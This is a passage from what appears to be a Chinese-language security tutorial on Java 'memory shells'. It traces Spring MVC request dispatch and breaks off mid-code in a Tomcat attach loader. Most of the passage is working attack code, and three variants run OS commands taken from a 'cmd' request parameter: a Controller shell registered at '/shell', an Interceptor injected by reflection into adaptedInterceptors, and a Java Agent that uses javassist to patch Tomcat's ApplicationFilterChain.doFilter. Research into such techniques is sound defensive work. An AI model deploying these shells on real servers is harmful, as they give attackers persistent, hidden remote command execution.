// making them available for @ExceptionHandler methods and other scenarios.
dispatchException = new NestedServletException("Handler dispatch failed", err);
}
// 处理最终的分发结果,包括渲染视图或处理异常
processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException);
}
catch (Exception ex) {
// 触发所有拦截器的 afterCompletion 方法,用于资源清理等操作
triggerAfterCompletion(processedRequest, response, mappedHandler, ex);
}
catch (Throwable err) {
triggerAfterCompletion(processedRequest, response, mappedHandler,
new NestedServletException("Handler processing failed", err));
}
finally {
if (asyncManager.isConcurrentHandlingStarted()) {
// Instead of postHandle and afterCompletion
if (mappedHandler != null) {
// 异步处理开始后,应用 afterConcurrentHandlingStarted 回调
mappedHandler.applyAfterConcurrentHandlingStarted(processedRequest, response);
}
}
else {
// Clean up any resources used by a multipart request.
if (multipartRequestParsed) {
// 清理 multipart 请求使用的资源
cleanupMultipart(processedRequest);
}
}
}
}

该方法是 Spring MVC 的核心请求处理流程,主要功能包括:

  1. 请求预处理:检查并解析multipart请求。
  2. 获取处理器:通过HandlerMapping找到匹配的处理器。
  3. 获取适配器:通过HandlerAdapter执行处理器。
  4. 执行拦截器:应用前置和后置拦截逻辑。
  5. 调用处理器:实际执行Controller方法。
  6. 异常处理:捕获并处理执行过程中的异常。
  7. 视图渲染:根据返回的ModelAndView渲染视图。
  8. 资源清理:最后清理multipart资源或触发异步处理。

由于我们现在关心的是 Contoller 是怎么来的 , 所以重点放在第 2 条

它通过当前请求获取对应的 HandlerExecutionChain, 里面就有对应的 handler , handler 就指向我们的 Controller , 也就是说这里已经处理完了从请求映射到对应 Controller 的逻辑

跟进看看具体是怎么拿到的 :

这里遍历了 handlerMappings 这个列表 , 调用 getHandler 方法获取 handler 然后返回

可以看到这个 handlerMappings 里面有很多 mapping , 我们并不知道会调用哪个

在这里重新下个断点 , 当获取到的 handler 不为 null 时 , mapping 对应的是 RequestMappingHandlerMapping

跟进这个类 , 会发现它并没有 getHandler 方法 , 向上去看他的父类 , 也没有

最后一直跟到 org.springframework.web.servlet.handler.AbstractHandlerMapping#getHandler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
@Override
@Nullable
public final HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
// 尝试获取与当前请求匹配的处理器,如果未找到则使用默认处理器
Object handler = getHandlerInternal(request);
if (handler == null) {
handler = getDefaultHandler();
}
if (handler == null) {
return null;
}

// 如果处理器是字符串类型(Bean名称),则从应用上下文中获取实际的Bean实例
if (handler instanceof String) {
String handlerName = (String) handler;
handler = obtainApplicationContext().getBean(handlerName);
}

// 确保请求中缓存了lookupPath,供拦截器等组件使用
if (!ServletRequestPathUtils.hasCachedPath(request)) {
initLookupPath(request);
}

// 构建包含拦截器的处理器执行链
HandlerExecutionChain executionChain = getHandlerExecutionChain(handler, request);

// 根据日志级别输出调试或跟踪信息
if (logger.isTraceEnabled()) {
logger.trace("Mapped to " + handler);
}
else if (logger.isDebugEnabled() && !DispatcherType.ASYNC.equals(request.getDispatcherType())) {
logger.debug("Mapped to " + executionChain.getHandler());
}

// 处理跨域配置:如果处理器支持CORS或当前为预检请求,则构建CORS处理链
if (hasCorsConfigurationSource(handler) || CorsUtils.isPreFlightRequest(request)) {
CorsConfiguration config = getCorsConfiguration(handler, request);
if (getCorsConfigurationSource() != null) {
CorsConfiguration globalConfig = getCorsConfigurationSource().getCorsConfiguration(request);
config = (globalConfig != null ? globalConfig.combine(config) : config);
}
if (config != null) {
config.validateAllowCredentials();
}
executionChain = getCorsHandlerExecutionChain(request, executionChain, config);
}

return executionChain;
}

重新下个断点继续调 :

这里发现第一行已经获取到了 handler 了 , 所以跟进看看 , 中间经过几个重载之后到达 org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#getHandlerInternal

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
   @Override
@Nullable
protected HandlerMethod getHandlerInternal(HttpServletRequest request) throws Exception {
// 初始化请求路径用于后续的处理器方法查找,这里值是 /test
String lookupPath = initLookupPath(request);

// 获取读锁以保证并发安全的注册表访问
this.mappingRegistry.acquireReadLock();
try {
// 根据查找路径和请求对象查找匹配的处理器方法
HandlerMethod handlerMethod = lookupHandlerMethod(lookupPath, request);
// 如果找到处理器方法,则创建一个已解析bean的处理器方法实例返回
return (handlerMethod != null ? handlerMethod.createWithResolvedBean() : null);
}
finally {
// 释放读锁,确保锁资源正确释放
this.mappingRegistry.releaseReadLock();
}
}

这里重点在于 lookupHandlerMethod(lookupPath, request), 作用是根据请求以及请求路径来找对应的 handler , 跟进 :

这里从 mappingRegistry 中获取 请求路径对应的 mapping

可以看到在 mappingRegistry 中有一个 HashMap 叫 registry , 它里面有多个 RequestMappingInfo , 即请求映射信息 , 点进去可以看到里面有 key 和 value 两个对象 , key 中是 请求路径 value 中是 Controller 信息

我们现在找到了 Contriller 信息保存的位置 , 所以我们只要想办法把我们的木马的信息添加进来即可

最终我们找到 org.springframework.web.servlet.handler.AbstractHandlerMethodMapping#registerHandlerMethod

所以我们只需要调用到这个方法即可 , 由于它是抽象类 , 所以我们选择调用前面说过的它的子类 RequestMappingHandlerMapping 的这个方法

那么我们怎么获得这个对象呢 ?

我们刚才调试的时候这个对象是放在 handlerMappings 里面的 , 所以我们去看 handlerMappings 是怎么来的

首先看一下调用 :

根据注释我们可以知道它是从 ApplicationContext 中加载出来的

所以我们大致流程就是先获取 ApplicationContext , 然后再拿到 RequestMappingHandlerMapping , 最后调用 registerMapping 即可

Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package com.controller;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.DispatcherServlet;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

@RestController
public class TestController {
@RequestMapping("/test")
public String test() {
return "test";
}

@RequestMapping("/inject")
public String inject() throws Exception {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.getRequestAttributes().getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE, 0);
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
RequestMappingInfo mappingInfo = new RequestMappingInfo(
new PatternsRequestCondition("/shell"),
new RequestMethodsRequestCondition(), null, null, null, null, null);
mapping.registerMapping(mappingInfo, new ShellController(), ShellController.class.getDeclaredMethod("shell"));
return "success";
}

@RestController
public class ShellController {
public String shell() throws Exception {
HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
String cmd = request.getParameter("cmd");
StringBuilder sb = new StringBuilder();
try {
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader((new InputStreamReader(process.getInputStream())));
String line = null;
while ((line = reader.readLine()) != null) {
sb.append(line).append("\\A");
}
} catch (IOException e) {
throw new RuntimeException(e);
}
return sb.toString();
}
}
}

补充

刚才我们主要是从**发起一条 http 请求然后找到具体 Controller **这条线来找 Controller 具体保存在哪的 , 没有体现 Controller 的注册流程

下面我们从 Spring 下 bean 的初始化这条线来分析 Controller 的注册流程

前面分析流程的时候我们知道 RequestMappingHandlerMapping 获取了我们请求所对应的 handler :

它的职责是建立 HTTP 请求与处理该请求的控制器方法(即 @Controller 类中的 @RequestMapping 方法)之间的映射关系

当时的 handlerMappings 列表中还有其他几个 mapping , 他们的作用分别是

**WelcomePageHandlerMapping **专门用于处理应用欢迎页(Welcome Page)的映射,通常是根路径"/"

**BeanNameUrlHandlerMapping **根据Spring Bean的名字中定义的URL路径来映射请求

RouterFunctionMapping 用于在Spring WebFlux中将请求映射到基于RouterFunction的函数式端点

**SimpleUrlHandlerMapping **允许你以集中、显式的方式配置URL路径与处理程序(Handler)之间的映射关系

例如:你可以在配置中(Java Config 或 XML)定义一个SimpleUrlHandlerMapping Bean,并通过一个Map来指定映射 /home -> homeController, /static/** -> resourceHttpRequestHandler


很明显在这里和我们注入内存马相关的就是 RequestMappingHandlerMapping 了

那么它具体是怎么处理请求和 handler 之间的映射的呢?

SpringMVC 初始化时,在每个容器的 bean 构造方法、属性设置之后,将会使用 InitializingBean 的 afterPropertiesSet 方法进行 Bean 的初始化操作,其中实现类 RequestMappingHandlerMapping 用来处理具有 @Controller 注解类中的方法级别的 @RequestMapping 以及 RequestMappingInfo 实例的创建。看一下具体的是怎么创建的 :

首先来到 org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping#afterPropertiesSet

实例化 config 并设置一些值 , 然后调用了父类的 afterPropertiesSet 方法 , 跟进 :

没逻辑 , 继续跟进 :

获取所有的 bean 然后调用 processCandidateBean 对 bean 进行处理

跟进看看 :

获取 bean 的 Type , 然后调用 isHandler 方法判断该 bean 是不是 Handler , 最后调用 detectHandlerMethods

isHandler : 判断当前 bean 是否含有 Controller 和 RequestMapping 注解

detectHandlerMethods :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
protected void detectHandlerMethods(final Object handler) {
//获取到当前Controller bean的class对象
Class<?> handlerType = (handler instanceof String) ?
getApplicationContext().getType((String) handler) : handler.getClass();
//同上,也是该Controller bean的class对象
final Class<?> userType = ClassUtils.getUserClass(handlerType);
//获取当前bean的所有handler method。这里查找的依据便是根据method定义是否带有RequestMapping注解。如果有根据注解创建RequestMappingInfo对象
Set<Method> methods = HandlerMethodSelector.selectMethods(userType, new MethodFilter() {
public boolean matches(Method method) {
return getMappingForMethod(method, userType) != null;
}
});
//遍历并注册当前bean的所有handler method
for (Method method : methods) {
T mapping = getMappingForMethod(method, userType);
//注册handler method,进入以下方法
registerHandlerMethod(handler, method, mapping);
}
}

这部分有两个关键功能,一个是 getMappingForMethod 方法根据 handler method 创建RequestMappingInfo 对象 :

一个是 registerHandlerMethod 方法 , 将 handler method 与 RequestMappingInfo 进行相关映射 :

这就和之前我们找到的注册 mapping 的地方对上了 , Controller 和 路径的映射关系就是存储在这里的


Spring Interceptor 内存马

Interceptor 是 Spring 使用 AOP 对 Filter 思想的另一种实现,在其他框架如 Struts2 中也有拦截器思想的相关实现。Intercepor 主要是针对 Controller 进行拦截

流程分析 + 踩坑

先正常创建一个 Interceptor :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.interceptor;

import org.springframework.web.servlet.HandlerInterceptor;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class TestInterceptor implements HandlerInterceptor {
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
throws Exception {
System.out.println("preHandle");
return true;
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.interceptor;

import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.EnableWebMvc;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;

@Configuration
@EnableWebMvc
public class WebConfig implements WebMvcConfigurer {
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new TestInterceptor()).addPathPatterns("/**");
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
package com.interceptor;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class IndexController {
@RequestMapping("/index")
public String index() {
return "index";
}
}

在 preHandle 处打断点 , 开始调试

和之前一样回溯到 org.springframework.web.servlet.DispatcherServlet#doDispatch

能够看到在这里是调用了 org.springframework.web.servlet.HandlerExecutionChain#applyPreHandle 之后才走到 preHandler 的 :

跟进看看 :

这个方法首先调用 getInterceptors 方法获取一个数组 , 然后依次调用其中的 Interceptor 的 preHandler 方法

跟进这个 getInterceptors 方法 , 看看是从哪里获取的 :

可以看到就是当前类的 interceptorList 字段 转换成数组 , 查找用法看看哪里会向里面赋值

最终找到了本类的 addInterceptor 方法

所以我们的思路就是要拿到 HandlerExecutionChain 然后调用 addInterceptor

那么这个对象要怎么拿到呢?

在前面分析 doDispatch 的时候我们分析过 :

这里遍历了 handlerMappings 这个列表 , 调用 getHandler 方法获取 handler 然后返回

可以看到这个 handlerMappings 里面有很多 mapping , 我们并不知道会调用哪个

在这里重新下个断点 , 当获取到的 handler 不为 null 时 , mapping 对应的是 RequestMappingHandlerMapping

跟进这个类 , 会发现它并没有 getHandler 方法 , 向上去看他的父类 , 也没有

最后一直跟到 org.springframework.web.servlet.handler.AbstractHandlerMapping#getHandler

所以只要获取到 RequestMappingHandlerMapping 和 request 对象 , 然后调用 getHandler 方法拿到 HandlerExecutionChain , 最后 addInterceptor 即可 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package com.interceptor;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.DispatcherServlet;
import org.springframework.web.servlet.HandlerExecutionChain;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

@RestController
public class InjectController {
@RequestMapping("/inject")
public String inject() throws Exception {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.getRequestAttributes().getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE, 0);
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
HandlerExecutionChain handler = mapping.getHandler(request);
ShellInterceptor shellinterceptor = new ShellInterceptor();
handler.addInterceptor(shellinterceptor);
return "success";
}

public class ShellInterceptor implements HandlerInterceptor {
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
throws Exception {
System.out.println("shellInterceptor");
String cmd = request.getParameter("cmd");
if (cmd != null) {
StringBuilder sb = new StringBuilder();
try {
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader((new InputStreamReader(process.getInputStream())));
String line = null;
while ((line = reader.readLine()) != null) {
sb.append(line).append("\\A");
}
response.getWriter().write(sb.toString());
} catch (IOException e) {
throw new RuntimeException(e);
}
}
return true;
}
}
}

试一下 , 失败了 , 调试一下看看 :

add 之前 :

add 之后 :

明明已经成功加入了啊

再调一下注入内存马的请求 :

结果发现里面并没有我们刚才新增的 Controller , 大概是因为这样只是修改了当前请求的 handler , 并没有影响到整个服务器 , 当一个新的请求发过来时 , 又会经历一遍 getHandler :

然后会去 mappings 里面拿 , 也就是 RequestMappingHandlerMapping :

经过测试 , 刚才那种写法确实没有把 interceptor 放入 mappings :

所以我们最终目标应该是将 interceptor 注册到 RequestMappingHandlerMapping 的 interceptors 中

来到 RequestMappingHandlerMapping 会发现其实里面没有 interceptors 字段 , 它其实在 RequestMappingHandlerMapping 的祖先类 AbstractHandlerMapping 中 :

这是一个 List , 那我们只要反射获取它 , 然后再 add 我们自己的 interceptor 就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package com.interceptor;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.DispatcherServlet;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.util.ArrayList;

@RestController
public class InjectController {
@RequestMapping("/inject")
public String inject() throws Exception {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.getRequestAttributes().getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE, 0);
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
Field interceptors = AbstractHandlerMapping.class.getDeclaredField("interceptors");
interceptors.setAccessible(true);
ArrayList interceptorList = (ArrayList) interceptors.get(mapping);
interceptorList.add(new ShellInterceptor());
return "success";
}

public class ShellInterceptor implements HandlerInterceptor {
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
throws Exception {
System.out.println("shellInterceptor");
String cmd = request.getParameter("cmd");
if (cmd != null) {
StringBuilder sb = new StringBuilder();
try {
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader((new InputStreamReader(process.getInputStream())));
String line = null;
while ((line = reader.readLine()) != null) {
sb.append(line).append("\\A");
}
response.getWriter().write(sb.toString());
} catch (IOException e) {
throw new RuntimeException(e);
}
}
return true;
}
}
}

结果测试了还是失败

调一下 , 发现确实加进去了 :

跟一下新请求试试 :

发现 HandlerExecutionChain 中并没有拿到我们刚才新加的 Interceptor

跟进去发现我们加进去的 interceptor 还是在的 :

那就只能说明 HandlerExecutionChain 里的 interceptorList 不是从 HandlerExecutionChain 的 intercepters 里面获取的

继续跟看看到底是怎么拿的 , 一直跟到了 org.springframework.web.servlet.handler.AbstractHandlerMapping#getHandlerExecutionChain

好家伙原来用的是 adaptedInterceptors , 改一下赋值的地方就好了

Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package com.interceptor;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.DispatcherServlet;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.util.ArrayList;

@RestController
public class InjectController {
@RequestMapping("/inject")
public String inject() throws Exception {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.getRequestAttributes().getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE, 0);
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
Field interceptors = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
interceptors.setAccessible(true);
ArrayList interceptorList = (ArrayList) interceptors.get(mapping);
interceptorList.add(new ShellInterceptor());
return "success";
}

public class ShellInterceptor implements HandlerInterceptor {
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
throws Exception {
System.out.println("shellInterceptor");
String cmd = request.getParameter("cmd");
if (cmd != null) {
StringBuilder sb = new StringBuilder();
try {
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader((new InputStreamReader(process.getInputStream())));
String line = null;
while ((line = reader.readLine()) != null) {
sb.append(line).append("\\A");
}
response.getWriter().write(sb.toString());
} catch (IOException e) {
throw new RuntimeException(e);
}
}
return true;
}
}
}

Java Agent 内存马

Java Instrumentation

简介

JDK™ 5.0 中引入包java.lang.instrument。 该包提供了一个 Java 编程 API,可以用来开发增强 Java 应用程序的工具,例如监视它们或收集性能信息。使用 Instrumentation,开发者可以构建一个独立于应用程序的代理程序(Agent),用来监测和协助运行在 JVM 上的程序,甚至能够替换和修改某些类的定义。

JavaAgent 是一种可以在 JVM 启动时或运行时附加的程序 , 有两种加载方式 :

1 . Premain : 在 JVM 启动时通过 -javaagent:path/to/your-agent.jar 来指定

2 . Agentmain : 在 JVM 启动之后通过 Attach Api 动态附加到正在运行的 JVM 进程上

Premain 示例

这里需要准备两个程序 , 一个是 agent 程序 , 另一个是后面使用 agent 的程序

首先是一个正常的程序 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.test;

public class Test {
public void say() {
System.out.println("aaa");
}
public static void main(String args[]) throws Exception {
Test t = new Test();
while (true){
t.say();
Thread.sleep(1000);
}
}
}

然后再新建一个项目 , 编写 Agent 程序 :

1
2
3
4
5
6
7
import java.lang.instrument.Instrumentation;

public class PreMainTest {
public static void premain(String agentArgs, Instrumentation inst) {
inst.addTransformer(new MyTransformer());
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class MyTransformer implements ClassFileTransformer {

@Override
public byte[] transform(ClassLoader loader,
String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer) {
// 将斜杠分隔的类名(如 java/lang/String)转换为点分隔的类名
String dotClassName = className.replace('/', '.');

// 检查是否是我们想要修改的目标类
if ("com.test.Test".equals(dotClassName)) {
try {
// 1. 获取 ClassPool 和 CtClass
ClassPool cp = ClassPool.getDefault();
CtClass cc = cp.get(dotClassName);

// 2. 获取目标方法
CtMethod method = cc.getDeclaredMethod("say");

// 3. 在方法体的最前面插入代码
String codeToInsert = "System.out.println(\"[Agent] TargetMethod was called!\");";
method.insertBefore(codeToInsert);

// 4. 返回修改后的字节码
return cc.toBytecode();
} catch (Exception e) {
e.printStackTrace();
}
}
// 如果不是目标类,返回 null,表示不进行转换
return null;
}
}

还需要修改一下 pom.xml 的信息 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>com</groupId>
<artifactId>Agent_Demo</artifactId>
<version>1.0-SNAPSHOT</version>

<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>

<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifestEntries>
<Agent-Class>AgentMainTest</Agent-Class>
<Premain-Class>PreMainTest</Premain-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
</manifestEntries>
</archive>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>

<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.30.2-GA</version>
</dependency>
</dependencies>
</project>

原因如下 :

创建一个 Premain 类型的 Agent 时,需要在 MANIFEST.MF 中指定 Premain-Class 属性 , JVM オ能在启动时加载指定代理类

而创建一个 Agentmain 类型的 Agent 时,需要在 MANIFEST 中指定 Agent-Class 属性 , JVM 才能在运行时加载指定的代理类

Can-Redefine-Classes: true 表示允许 Java Agent 重新定义已经加载的类

Can-Retransform-Classes: true 表示允许 Java Agent 重新转换已经加载的类

为了方便 , 我们可以直接在 pom.xml 中提前设置好 maven 的打包配置

最后执行下面的命令打包成 jar 包 :

1
mvn clean package

回到刚才的程序 , 这是正常运行该程序 :

当我们指定 Agent 后 :

1
java -javaagent:D:\Code\JavaSec\MemShell\Agent_Demo\target\Agent_Demo-1.0-SNAPSHOT-jar-with-dependencies.jar com.test.Test

可以看到我们成功在别人的方法中注入了我们自己的代码

该项技术赋予我们可以动态修改 JVM 中已加载类的字节码的能力而不需要重启 JVM。内存马正是利用这点,修改中间件的处理逻辑

Agentmain 示例

Agentmain 可以不指定启动参数 , 在程序正在执行的时候就能注入我们自己的代码

先将正常的程序跑起来 , 然后查看进程名 :

然后编写 AgentMainTest

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class AgentMainTest {
public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
inst.addTransformer(new MyTransformer(), true);
for (Class clazz : inst.getAllLoadedClasses()) {
if (clazz.getName().equals("com.test.Test")){
inst.retransformClasses(clazz);
}
}
}
}

还需要写一个 loader 用于加载我们的 agent , 里面指定 agent 的路径以及要注入的进程名 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

public class AgentLoader {
public static void main(String[] args) throws Exception {
String agentJarPath = "D:\\Code\\JavaSec\\MemShell\\Agent_Demo\\target\\Agent_Demo-1.0-SNAPSHOT-jar-with-dependencies.jar";
String targetProcessName = "com.test.Test";

for (VirtualMachineDescriptor vm : VirtualMachine.list()) {
if (vm.displayName().contains(targetProcessName)) {
VirtualMachine jvm = VirtualMachine.attach(vm.id());
jvm.loadAgent(agentJarPath);
jvm.detach();
System.out.println("Agent loaded to PID: " + vm.id());
return;
}
}
System.out.println("Process not found");
}
}

由于这里用了 com.sun.tools 包 , 还需要在 pom.xml 中加上一个依赖 :

1
2
3
4
5
6
7
<dependency>
<groupId>com.sun</groupId>
<artifactId>tools</artifactId>
<version>${java.version}</version>
<scope>system</scope>
<systemPath>${java.home}/../lib/tools.jar</systemPath>
</dependency>

然后运行我们的 loader :


注入内存马

Tomcat

用之前的 Servlet 项目起一个服务 , 在 doGet 下断 , 然后看堆栈会发现所有的请求都会经过 org.apache.catalina.core.ApplicationFilterChain#doFilter

所以这里是我们去 Hook 的最佳选择 , 下面是完整代码 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class AgentMainTest {
public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
inst.addTransformer(new MyTransformer(), true);
for (Class clazz : inst.getAllLoadedClasses()) {
if (clazz.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){
inst.retransformClasses(clazz);
}
}
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.LoaderClassPath;

import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class MyTransformer implements ClassFileTransformer {

@Override
public byte[] transform(ClassLoader loader,
String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer) {

if ("org/apache/catalina/core/ApplicationFilterChain".equals(className)) {
try {
ClassPool cp = ClassPool.getDefault();
if (loader != null) {
cp.insertClassPath(new LoaderClassPath(loader));
}
CtClass cc = cp.get("org.apache.catalina.core.ApplicationFilterChain");
CtMethod method = cc.getDeclaredMethod("doFilter");
String codeToInsert =
"if ($1.getParameter(\"cmd\") != null) {" +
" try {" +
" String cmd = $1.getParameter(\"cmd\");" +
" java.lang.Process p = java.lang.Runtime.getRuntime().exec(cmd);" +
" java.util.Scanner s = new java.util.Scanner(p.getInputStream()).useDelimiter(\"\\\\A\");" +
" String result = s.hasNext() ? s.next() : \"\";" +
" java.io.PrintWriter w = $2.getWriter();" +
" w.write(result);" +
" w.flush();" +
" return;" +
" } catch (Exception e) {}" +
"}";
method.insertBefore(codeToInsert);
return cc.toBytecode();
} catch (Exception e) {
e.printStackTrace();
}
}
return null;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

public class AgentLoader {
public static void main(String[] args) throws Exception {
String agentJarPath = "D:\\Code\\JavaSec\\MemShell\\Agent_Demo\\target\\Agent_Demo-1.0-SNAPSHOT-jar-with-dependencies.jar";
String targetProcessName = "org.apache.catalina.startup.Bootstrap";

for (VirtualMachineDescriptor vm : VirtualMachine.list()) {
if (vm.displayName().contains(targetProcessName)) {
VirtualMachine jvm = VirtualMachine.attach(vm.id());
